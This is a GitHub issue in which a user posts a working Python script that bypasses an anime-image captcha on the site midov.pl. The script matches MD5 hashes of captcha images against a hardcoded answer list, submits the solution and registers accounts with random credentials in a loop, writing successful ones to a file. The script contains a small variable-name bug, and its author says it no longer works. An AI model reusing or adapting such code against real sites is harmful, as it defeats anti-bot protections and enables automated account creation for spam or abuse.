Skip to content
This repository has been archived by the owner on Oct 3, 2022. It is now read-only.

I bypassed the captcha . sneed #42

Open
sneedgers opened this issue Sep 29, 2022 · 0 comments
Open

I bypassed the captcha . sneed #42

sneedgers opened this issue Sep 29, 2022 · 0 comments

Comments

@sneedgers
Copy link

Useless now lol

  1. first scrap all of the waifus
  2. find the md5 hash - by manually looking at the folder
  3. once you have a waifu just loop until you find the waifu and match the md5
import requests as req
from bs4 import BeautifulSoup
from PIL import Image
import re, base64
from io import BytesIO
import hashlib
import concurrent.futures as porn
import time, string, random
def ran_str(string_length):
  input = string.ascii_lowercase + string.digits
  return ''.join(random.choice(input) for i in range(string_length))

sneed1 = []
headers = {
    'User-Agent': 'Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0',
    'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8',
    'Accept-Language': 'en-US,en;q=0.5',
    'Accept-Encoding': 'gzip, deflate, br',
        
    'Origin': 'https://midov.pl',
    'DNT': '1',
    'Connection': 'keep-alive',
    # 'Referer': 'https://midov.pl/registerform.sh',
    'Upgrade-Insecure-Requests': '1',
    'Sec-Fetch-Dest': 'document',
    'Sec-Fetch-Mode': 'navigate',
    'Sec-Fetch-Site': 'same-origin',
    'Sec-Fetch-User': '?1',
    'Pragma': 'no-cache',
    'Cache-Control': 'no-cache',
    # Requests doesn't support trailers
    # 'TE': 'trailers',
}


answers = {
    'liru': ['a67db0fc66aedba7e028a7da4999d67b','4cfe005813df6d8ce6847c9b2274f599','52351b9999f67c5e92c76c381bd4ffd7'],
    'rem': ['c0c13825e8f35dcb36fab7ee5bc8f670','68e2750d81d48c6f1ac450ed24b5d601']
}

def send_post(data):
    res = req.post('https://midov.pl/registerform.sh', headers=headers, data=data)
    # print(res.text)
    soup = BeautifulSoup(res.text, "html.parser")
    captcha = soup.find_all('input', {'name':'captcha'})[0]['value']
    # print(captcha)

    u_name = ran_str(9)
    p_word = ran_str(9)
    data2 = {
        'login': u_name,
        'password': p_word,
        'passwordagain': p_word,
        'captcha': captcha,
    }
    # print(data2)

    res = req.post('https://midov.pl/do-register.sh', headers=headers, data=data2)
    if "You need to know the animu girls better." in res.text:
        None
        # print("Failure")
    elif "Success!" in res.text:
        print(res.text)
        with open("accounts.kek", 'a') as f:
            f.write(f"{u_name}:{p_work}\n")
    else:
        print(res.text)
def sneed(i):
    # for x in range(1):
    while True:
        res = req.get("https://midov.pl/registerform.sh", headers=headers)
        soup = BeautifulSoup(res.text, "html.parser")
        img_list = soup.find_all('img')
        label = soup.find_all('b')[0].text.lower()
        captchouli_id = soup.find_all('input', {'name':'captchouli-id'})[0]['value']
        captchouli_color = soup.find_all('input', {'name':'captchouli-color'})[0]['value']
        captchouli_background = soup.find_all('input', {'name':'captchouli-background'})[0]['value']
        # if not "rem" in label:
            # continue
        if "liru" != label:
            time.sleep(2)
            continue
        print(label)

        data_dict_to_send = {
            'captchouli-id': captchouli_id,
            'captchouli-color': captchouli_color,
            'captchouli-background': captchouli_background,
        }
        for i in range(len(img_list)):
            image_bytes = img_list[i]['src']
            md5_img = hashlib.md5(
                image_bytes.encode('utf-8')).hexdigest()
            
            # print(i, md5_img)
            # if md5_img in answers["rem"]:
            if md5_img in answers[label]:
                # print("in DB",i, md5_img)
                data_dict_to_send[f'captchouli-{i}'] = 'on'
        print(data_dict_to_send)
        send_post(data_dict_to_send)

        break
        

    
sneed(1)
Sign up for free to subscribe to this conversation on GitHub. Already have an account? Sign in.
Labels
None yet
Projects
None yet
Development

No branches or pull requests

1 participant